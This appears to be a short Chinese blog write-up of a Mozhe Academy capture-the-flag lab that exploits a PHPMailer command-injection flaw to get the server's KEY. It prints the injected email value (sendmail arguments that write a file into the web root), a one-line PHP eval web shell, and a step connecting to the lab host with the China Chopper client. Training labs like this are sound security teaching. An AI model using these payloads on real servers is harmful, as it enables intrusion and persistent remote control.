墨者学院_PHPMailer远程命令执行漏洞溯源

利用邮件注入漏洞获取服务器KEY

最新推荐文章于 2023-03-17 05:00:00 发布

原创最新推荐文章于 2023-03-17 05:00:00 发布 · 355 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#墨者学院 #命令执行

本文介绍了一种通过邮件注入漏洞获取服务器KEY的方法。步骤包括：在靶场找到发送邮件的功能，构造特殊格式的邮件地址和消息体，使用菜刀连接到服务器上的特定文件，最终在根目录下获取到KEY。

1.打开靶场，找到发送邮件的位置，进入邮件页面
2.填写邮件消息
1.任意用户名
2.在email写入：
“aaa”. -OQueueDirectory=/tmp/. -X/var/www/html/a.php @aaa.com
3.在message写入：
<?php @eval($_POST[a]);?>
3.使用菜刀连接，链接是：http://219.153.49.228:41056/a.php
4.在根目录下得到KEY